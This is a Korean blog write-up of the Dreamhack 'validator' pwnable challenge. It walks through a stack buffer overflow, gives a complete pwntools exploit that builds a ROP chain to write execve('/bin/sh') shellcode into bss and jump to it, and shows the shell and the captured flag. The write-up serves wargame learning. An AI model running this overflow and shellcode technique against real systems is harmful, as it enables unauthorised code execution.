[Dreamhack] validator

Sisyphus·2022년 11월 27일
0

보호 기법

[*] '/home/ion/security/wargame/dreamhack/pwnable/validator/validator_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

모든 보호 기법이 꺼져 있습니다.



문제 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-80h]

  memset(&s, 0, 0x10uLL);
  read(0, &s, 0x400uLL);
  validate(&s, 128LL);
  return 0;
}
  • read(0, s, 0x400)으로 인해 버퍼 오버플로우가 발생합니다.
  • validate(s, 128) 함수를 호출합니다.

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  signed int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((signed int)i + a1) != correct[i] )	// corret = "DREAMHACK!"
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}
  • 문자열의 처음 열 글자는 DREAMHACK!이어야 합니다.
  • 문자열의 12번째 글자부터 128번째 글자 까지는 s[i] = s[i+1] + 1 이어야 합니다.
    예를 들어 12번째 글자가 b이면 13번째 글자는 a여야 합니다.
    그리고 마지막 128번째 글자는 129번째 글자와 비교되어 s[i] = s[i+1] + 1 조건을 만족해야 합니다.


오프셋 구하기

   0x0000000000400658 <+30>:    lea    rax,[rbp-0x80]		# rax = s
   0x000000000040065c <+34>:    mov    edx,0x400			# edx = 0x400 
   0x0000000000400661 <+39>:    mov    rsi,rax				# rsi = s
   0x0000000000400664 <+42>:    mov    edi,0x0				# edi = 0
   0x0000000000400669 <+47>:    call   0x400470 <read@plt>	# read(0, s, 0x400)
   0x000000000040066e <+52>:    lea    rax,[rbp-0x80]

offset : 136



익스플로잇 계획

NX 보호 기법이 꺼져 있어서 쉘 코드를 사용할 수 있습니다. 그래서 bss영역에 쉘 코드를 쓰고 RET를 bss 주소로 변조하면 쉘을 띄울 수 있을거 같습니다.

[1] write shellcode to bss
read(0, bss, len(shellcode)+1)

[2] Return Address Overwrite
RET <- bss


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 14169)
e = ELF("validator_server")
r = ROP(e)

context.arch = "amd64"
#context.log_level = 'debug'

shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))

read_plt = e.plt["read"]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_pop_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]
bss = e.bss()


payload = b"DREAMHACK!"
list = []

for i in range(118, -1, -1):
        list.append(i)

payload += bytes(list)
payload += b"B"*7

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(bss) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode)+1)
payload += p64(read_plt)

payload += p64(bss)

sleep(0.5)
p.send(payload)
sleep(0.5)
p.send(shellcode)

p.interactive()


익스플로잇

 ion  ~/security/wargame/dreamhack/pwnable/validator  python3 remote.py 
[+] Opening connection to host3.dreamhack.games on port 14169: Done
[*] '/home/ion/security/wargame/dreamhack/pwnable/validator/validator_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 15 cached gadgets for 'validator_server'
[*] Switching to interactive mode
$
$ ls
flag
run.sh
validator
$ cat flag
DH{009bcc2d5c4b1b5af909a4f3c973d1ae}

0개의 댓글